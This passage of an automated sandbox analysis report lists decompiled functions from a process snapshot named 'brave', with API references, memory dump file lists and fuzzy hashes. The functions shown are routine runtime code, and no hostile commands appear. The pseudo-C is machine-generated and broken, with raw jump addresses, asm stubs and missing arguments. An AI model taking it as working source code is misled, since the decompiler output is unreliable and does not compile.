realloc.MSVCRT(00000000,?,?,00007FF6FC4C14F6,00007FF6FC4D02FB,000001A14FC317F0,00000000,00007FFC2FC93CA0,00007FF6FC4C32FA), ref: 00007FF6FC4D5353
realloc.MSVCRT(00000000,?,?,00007FF6FC4C14F6,00007FF6FC4D02FB,000001A14FC317F0,00000000,00007FFC2FC93CA0,00007FF6FC4C32FA), ref: 00007FF6FC4D5367
memset.MSVCRT ref: 00007FF6FC4D539D

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: ErrorLastrealloc$Valuememset
String ID:
API String ID: 2591390167-0
Opcode ID: c1310bef0b37995c8512101a0dfd18a475ef539f0a296ca77da5c8e920a0cdac
Instruction ID: 40c54185f97dc4dc5452c61266de7094bc2a84f12c1af40d0494ed8d4c682677
Opcode Fuzzy Hash: c1310bef0b37995c8512101a0dfd18a475ef539f0a296ca77da5c8e920a0cdac
Instruction Fuzzy Hash: 9C219022B196418AEB18EF3AB84467D2396AF45B98F450035DE2D8B3D6FD3CD985C780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D8880 Relevance: 7.6, APIs: 5, Instructions: 57COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF6FC4D8898
ReleaseSemaphore.KERNEL32 ref: 00007FF6FC4D88C6
LeaveCriticalSection.KERNEL32 ref: 00007FF6FC4D88D3
LeaveCriticalSection.KERNEL32 ref: 00007FF6FC4D88F3
LeaveCriticalSection.KERNEL32 ref: 00007FF6FC4D8918

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: CriticalSection$Leave$EnterReleaseSemaphore
String ID:
API String ID: 2813224205-0
Opcode ID: 50ea73615dfd6b47d2567a6e8e39e4969aa7ea6ce91bc3410475d5b7992722e5
Instruction ID: 87b632a0f3711f0fd02f4dbf64c8b6c8c9e872506fdaaef2d2dc8c512d76750a
Opcode Fuzzy Hash: 50ea73615dfd6b47d2567a6e8e39e4969aa7ea6ce91bc3410475d5b7992722e5
Instruction Fuzzy Hash: 70012823F0921642E7459F1B7C95A759251BF99777F844576CE2E823C0ED3C9AC6C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D9EC0 Relevance: 7.5, APIs: 5, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6FC4D9EC0(void* __rcx) {

				if (__rcx != 0) goto 0xfc4d9ed8;
				return 0;
			}

0x7ff6fc4d9ecb
0x7ff6fc4d9ed4

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF6FC4D9ED8
OpenProcess.KERNEL32 ref: 00007FF6FC4D9EEF
CloseHandle.KERNEL32 ref: 00007FF6FC4D9EFD

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: Process$CloseCurrentHandleOpen
String ID:
API String ID: 2750122171-0
Opcode ID: 0481b6e7934421b3d5d1405471e27f862e5ab29bd4ffea2d44222b750cc16042
Instruction ID: ea24282f423bdcfe3624b1395efc1e0b46b0a930ffa3bc4391a41143daa8720a
Opcode Fuzzy Hash: 0481b6e7934421b3d5d1405471e27f862e5ab29bd4ffea2d44222b750cc16042
Instruction Fuzzy Hash: A1F08961B1D50386FB146F71745453911919F5471BF281934C73EC52E0FE3C66844320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4CEB03 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00007FF67FF6FC4CEB03() {
				signed int _t8;
				void* _t12;
				void* _t17;
				signed int** _t20;

				asm("stc");
				 *((intOrPtr*)(_t17 + 0x41909090)) =  *((intOrPtr*)(_t17 + 0x41909090)) + _t12;
				_t8 =  *( *_t20);
				if ((_t8 & 0x20ffffff) == 0x20474343) goto 0xfc4cebf0;
				if (_t8 - 0xc0000096 > 0) goto 0xfc4cebd7;
				if (_t8 - 0xc000008b <= 0) goto 0xfc4ceb88;
				if (_t8 + 0x3fffff73 - 9 > 0) goto 0xfc4ceb78;
				goto __rax;
			}

0x7ff6fc4ceb03
0x7ff6fc4ceb0b
0x7ff6fc4ceb19
0x7ff6fc4ceb2c
0x7ff6fc4ceb37
0x7ff6fc4ceb42
0x7ff6fc4ceb4c
0x7ff6fc4ceb5c

APIs

signal.MSVCRT ref: 00007FF6FC4CEBAA

Strings

CCG , xrefs: 00007FF6FC4CEB26

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: signal
String ID: CCG
API String ID: 1946981877-1584390748
Opcode ID: 46604ae227c626b1be511848d822de1d4529c5c54d514a26e591d6aa839660e6
Instruction ID: 8c6f7856ceefde3aaf8eed09584cac9a7afb9707a5677a94712ad808b7e008a3
Opcode Fuzzy Hash: 46604ae227c626b1be511848d822de1d4529c5c54d514a26e591d6aa839660e6
Instruction Fuzzy Hash: C121BF21E0850202FB78C678A4513781881BF5A36CF294A36C63ED27F5FF1CEB898311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D3D00 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 48
threadCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00007FF67FF6FC4D3D00(void* __edi, long long __rcx, void* __rdx, void* _a8, long long _a32, long long _a40, intOrPtr _a96) {
				intOrPtr _t9;
				long _t13;
				void* _t14;
				intOrPtr _t17;
				intOrPtr* _t22;
				long long _t24;

				_t9 =  *0xfc7813e0; // 0x0
				_a8 = __rcx;
				if (_t9 == 0) goto 0xfc4d3d9c;
				_t22 = _a8;
				if (_t22 != 0) goto 0xfc4d3d50;
				r8d = GetCurrentThreadId();
				_pop(_t24);
				goto 0xfc4e1680;
				asm("o16 nop [eax+eax]");
				E00007FF67FF6FC4D3190(__edi, _a96);
				E00007FF67FF6FC4D3190(__edi, _a96);
				_t17 =  *_t22;
				_t13 = GetCurrentThreadId();
				_t14 = E00007FF67FF6FC4D3190(_t17, _a96);
				_a40 = _t24;
				r9d = _t17;
				r8d = _t13;
				_a32 =  *((intOrPtr*)(_t22 + 0x28));
				0xfc4e1680();
				return _t14;
			}

0x7ff6fc4d3d08
0x7ff6fc4d3d0e
0x7ff6fc4d3d18
0x7ff6fc4d3d1e
0x7ff6fc4d3d26
0x7ff6fc4d3d3a
0x7ff6fc4d3d41
0x7ff6fc4d3d45
0x7ff6fc4d3d4a
0x7ff6fc4d3d55
0x7ff6fc4d3d63
0x7ff6fc4d3d68
0x7ff6fc4d3d6a
0x7ff6fc4d3d77
0x7ff6fc4d3d7c
0x7ff6fc4d3d81
0x7ff6fc4d3d84
0x7ff6fc4d3d87
0x7ff6fc4d3d96
0x7ff6fc4d3da4

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF6FC4D3D28
GetCurrentThreadId.KERNEL32 ref: 00007FF6FC4D3D6A

Strings

T%p %d V=%0X H=%p %s, xrefs: 00007FF6FC4D3D8F
T%p %d %s, xrefs: 00007FF6FC4D3D33

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: CurrentThread
String ID: T%p %d %s$T%p %d V=%0X H=%p %s
API String ID: 2882836952-2059990036
Opcode ID: fb28173ffc3efe5c2c797d80106deafb06b5f9291af923cbf097269bcea0b66e
Instruction ID: 79d0378a45a17cb925fe60f802f6bef5a56b3a28f4394b5938b64cc3bed695da
Opcode Fuzzy Hash: fb28173ffc3efe5c2c797d80106deafb06b5f9291af923cbf097269bcea0b66e
Instruction Fuzzy Hash: EF013C36B0C60682EB11AB16F80446AA3A5ABC5B98F484131EE5C877D5FE3CE641CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4CF210 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 00007FF6FC4CF24C
calloc.MSVCRT ref: 00007FF6FC4CF25B

Strings

!dso || dso == &__dso_handle, xrefs: 00007FF6FC4CF245
C:/crossdev/src/mingw-w64-v8-git/mingw-w64-crt/crt/tls_atexit.c, xrefs: 00007FF6FC4CF23E

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: _assertcalloc
String ID: !dso || dso == &__dso_handle$C:/crossdev/src/mingw-w64-v8-git/mingw-w64-crt/crt/tls_atexit.c
API String ID: 615528074-4180103562
Opcode ID: 3ff3c1c08b56fb9e230e04f1b49c40747e94c7a2db62898a806f7c776ec9269e
Instruction ID: 38f97c3e67ef030c188ad2846531eb506f7cc6cfb32ba056a2c0c2b9d267d3fc
Opcode Fuzzy Hash: 3ff3c1c08b56fb9e230e04f1b49c40747e94c7a2db62898a806f7c776ec9269e
Instruction Fuzzy Hash: 0E015A66E0860645FB51DB55F8502A92295AF44BD4F898130DA2C877D1FE2DEB86C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4CE1F0 Relevance: 6.3, APIs: 5, Instructions: 94
stringCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E00007FF67FF6FC4CE1F0(void* __rax, void* __rcx, void* __rdx, intOrPtr* __r8, intOrPtr* __r9) {
				intOrPtr _v48;
				long long _v56;
				long long _v64;
				char _v72;
				void* _t10;
				void* _t14;
				void* _t15;
				intOrPtr* _t28;
				intOrPtr* _t36;

				_t36 = __r8;
				_t28 = __r9;
				if (__rcx == 0) goto 0xfc4ce2e0;
				if (__rdx == 0) goto 0xfc4ce21b;
				if (__r8 == 0) goto 0xfc4ce2e0;
				_v72 = 0;
				_v64 = 0;
				_v56 = 0;
				_v48 = 0;
				if (E00007FF67FF6FC4CD760(_t10, _t15, __rax, __rcx, 0x7ff6fc4c51f0,  &_v72) == 0) goto 0xfc4ce320;
				if (_v48 == 0) goto 0xfc4ce2c0;
				if (_v72 == 0) goto 0xfc4ce33d;
				if (__rdx == 0) goto 0xfc4ce310;
				strlen(??);
				if (__rax -  *_t36 >= 0) goto 0xfc4ce300;
				_t14 = memcpy(??, ??, ??);
				free(??);
				if (_t28 == 0) goto 0xfc4ce2ad;
				 *_t28 = 0;
				return _t14;
			}

0x7ff6fc4ce1fe
0x7ff6fc4ce201
0x7ff6fc4ce207
0x7ff6fc4ce210
0x7ff6fc4ce215
0x7ff6fc4ce227
0x7ff6fc4ce230
0x7ff6fc4ce239
0x7ff6fc4ce242
0x7ff6fc4ce251
0x7ff6fc4ce262
0x7ff6fc4ce26c
0x7ff6fc4ce275
0x7ff6fc4ce27e
0x7ff6fc4ce286
0x7ff6fc4ce292
0x7ff6fc4ce29d
0x7ff6fc4ce2a5
0x7ff6fc4ce2a7
0x7ff6fc4ce2bb

APIs

strlen.MSVCRT ref: 00007FF6FC4CE27E
memcpy.MSVCRT ref: 00007FF6FC4CE292
free.MSVCRT ref: 00007FF6FC4CE29D

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: freememcpystrlen
String ID:
API String ID: 2208669145-0
Opcode ID: 498b3f5b9e13853de3fd77891ce67d711f26d8732301d510346af88e7737a2e8
Instruction ID: dbee3f4d5596a64e7de21ae1964f8849b511830ecab9f2297b5ca5e949e590d0
Opcode Fuzzy Hash: 498b3f5b9e13853de3fd77891ce67d711f26d8732301d510346af88e7737a2e8
Instruction Fuzzy Hash: FB319E26A0965282FF66DA12B50037B5290BF4079CF484531EE7EAB3E5FF3CE6498700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4DD380 Relevance: 6.3, APIs: 4, Instructions: 321COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF6FC4DD471

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: d70349bc9c1524d26521fd65c4a458df4fb405ac5d07478a6779465ec2e0c7d3
Instruction ID: 65e2f983130eaa3b2d878665461b6901bb4f7965c81d23adc8c1cac66b5a74f4
Opcode Fuzzy Hash: d70349bc9c1524d26521fd65c4a458df4fb405ac5d07478a6779465ec2e0c7d3
Instruction Fuzzy Hash: E1C1F963E1824156F7296B24E00433A2AA2BF0476CF254235DE7D977C5EE3DFA468750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4DA7D0 Relevance: 6.3, APIs: 4, Instructions: 319COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF6FC4DA8C1

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 346d97d3c0f16ec61348305e898cb21c60e62e2f68d204def2d18b4ac65c552e
Instruction ID: 2222644c769392dd568d5ce4ff29afcf08ce2ef001f036e9aacf305bdbcbe6a0
Opcode Fuzzy Hash: 346d97d3c0f16ec61348305e898cb21c60e62e2f68d204def2d18b4ac65c552e
Instruction Fuzzy Hash: 98C1F963E0824246F721AB24E10437A2AA3BF04B6CF194675DE7D977C5EE3CEE468750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4CD760 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 315
stringCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E00007FF67FF6FC4CD760(signed int __eax, signed int __edx, void* __rax, signed char* __rcx, long long __rdx, long long __r8) {
				signed int _t83;
				void* _t86;
				int _t89;
				signed int _t91;
				void* _t94;
				signed int _t108;
				void* _t111;
				void* _t113;
				long long _t137;
				signed long long _t140;
				unsigned long long _t160;
				long long* _t165;
				void* _t166;
				void* _t167;
				void* _t168;
				void* _t169;
				void* _t170;
				signed long long _t182;
				void* _t184;
				signed char* _t188;
				void* _t189;
				signed char* _t190;

				_t167 = _t166 - 0x218;
				_t165 = _t167 + 0x80;
				r15d =  *__rcx & 0x000000ff;
				_t111 = r15b - 0x5f;
				if (_t111 == 0) goto 0xfc4cdad0;
				asm("repe cmpsb");
				asm("sbb al, 0x0");
				r14d = 0;
				if ((__eax & 0xffffff00 | _t111 > 0x00000000) != 0) goto 0xfc4cd7e0;
				_t113 = (__rcx[8] & 0x000000ff) - 0x24 - 0x3b;
				if (_t113 > 0) goto 0xfc4cd7e0;
				asm("dec eax");
				if (_t113 >= 0) goto 0xfc4cd7e0;
				_t83 = __rcx[9] & 0x000000ff;
				if (_t83 == 0x44) goto 0xfc4cdb10;
				if (_t83 == 0x49) goto 0xfc4cdb10;
				strlen(??);
				 *((long long*)(_t165 - 0x50)) = __rcx;
				 *((intOrPtr*)(_t165 - 0x40)) = 0x11;
				r8d = __rax + __rax;
				 *((long long*)(_t165 - 0x48)) = __rax + __rcx;
				 *(_t165 - 0x38) = __rcx;
				 *(_t165 - 0x24) = r8d;
				 *((intOrPtr*)(_t165 - 0x28)) = 0;
				 *((intOrPtr*)(_t165 - 0x14)) = __edx;
				 *((intOrPtr*)(_t165 - 0x18)) = 0;
				 *((long long*)(_t165 - 0x10)) = 0;
				 *((long long*)(_t165 - 8)) = 0;
				 *_t165 = 0;
				if (r8d - 0x800 > 0) goto 0xfc4cdab3;
				_t86 = E00007FF67FF6FC4CF680(0);
				_t168 = _t167 - (r8d << 5);
				_t160 = _t168 + 0x27;
				E00007FF67FF6FC4CF680(_t86);
				_t169 = _t168 - (0x0000000f + __edx * 0x00000008 & 0xfffffff0);
				 *(_t165 - 0x30) = _t160 & 0xfffffff8;
				_t137 = _t169 + 0x20;
				 *((long long*)(_t165 - 0x20)) = _t137;
				if (r14d == 1) goto 0xfc4cdae8;
				_t23 = _t189 - 2; // -2
				if (_t23 - 1 > 0) goto 0xfc4cdaf8;
				_t190 =  &(__rcx[0xb]);
				 *(_t165 - 0x38) = _t190;
				if (__rcx[0xb] != 0x5f) goto 0xfc4cd8b8;
				if (__rcx[0xc] == 0x5a) goto 0xfc4cdc32;
				 *(_t165 - 0x60) = _t160 >> 3;
				 *(_t165 - 0x54) = r8d;
				_t89 = strlen(??);
				r8d =  *(_t165 - 0x54);
				_t182 =  *(_t165 - 0x60);
				if (r8d <= 0) goto 0xfc4cdbf3;
				 *((long long*)(4 + _t182 * 8)) = 0;
				 *((intOrPtr*)(_t165 - 0x28)) = 1;
				if (_t89 <= 0) goto 0xfc4cdbf3;
				 *(_t182 * 8) = 0;
				 *(0x10 + _t182 * 8) = _t190;
				 *(0x18 + _t182 * 8) = _t89;
				r9d = 0;
				E00007FF67FF6FC4C4DD0();
				strlen(??);
				_t188 =  &(( *(_t165 - 0x38))[_t137]);
				 *(_t165 - 0x38) = _t188;
				_t91 =  *_t188 & 0x000000ff;
				if (_t91 != 0) goto 0xfc4cdaee;
				if (_t137 == 0) goto 0xfc4cdaee;
				 *((long long*)(_t165 + 0x120)) = __rdx;
				_t184 = _t165 + 0x10;
				 *((char*)(_t165 + 0x118)) = 0;
				 *((long long*)(_t165 + 0x110)) = 0;
				 *((long long*)(_t165 + 0x128)) = __r8;
				 *((long long*)(_t165 + 0x130)) = 0;
				 *((long long*)(_t165 + 0x138)) = 0;
				 *((long long*)(_t165 + 0x140)) = 0;
				 *((long long*)(_t165 + 0x148)) = 0;
				 *((intOrPtr*)(_t165 + 0x150)) = 0;
				 *((long long*)(_t165 + 0x158)) = 0;
				 *((long long*)(_t165 + 0x160)) = 0;
				 *((long long*)(_t165 + 0x168)) = 0;
				 *((long long*)(_t165 + 0x170)) = 0;
				 *((long long*)(_t165 + 0x178)) = 0;
				E00007FF67FF6FC4C50B0();
				if ( *((intOrPtr*)(_t165 + 0x144)) - 0x7ff > 0) goto 0xfc4cda0c;
				 *((intOrPtr*)(_t165 + 0x144)) = 0;
				 *((long long*)(_t165 + 0x180)) = 0;
				_t108 =  *(_t165 + 0x17c) * _t91;
				_t139 =  <=  ? _t184 :  *((intOrPtr*)(_t165 + 0x16c));
				_t140 = ( <=  ? _t184 :  *((intOrPtr*)(_t165 + 0x16c))) << 4;
				 *(_t165 + 0x17c) = _t108;
				E00007FF67FF6FC4CF680(_t91);
				_t170 = _t169 - _t140;
				_t94 =  >  ? _t108 : 1;
				E00007FF67FF6FC4CF680(_t140);
				 *((long long*)(_t165 + 0x160)) = _t170 + 0x20;
				 *((long long*)(_t165 + 0x170)) = _t170 - (_t140 << 4) + 0x20;
				E00007FF67FF6FC4CBFE0(_t184, _t137);
				 *((char*)(_t165 +  *((intOrPtr*)(_t165 + 0x110)) + 0x10)) = 0;
				 *((intOrPtr*)(_t165 + 0x120))();
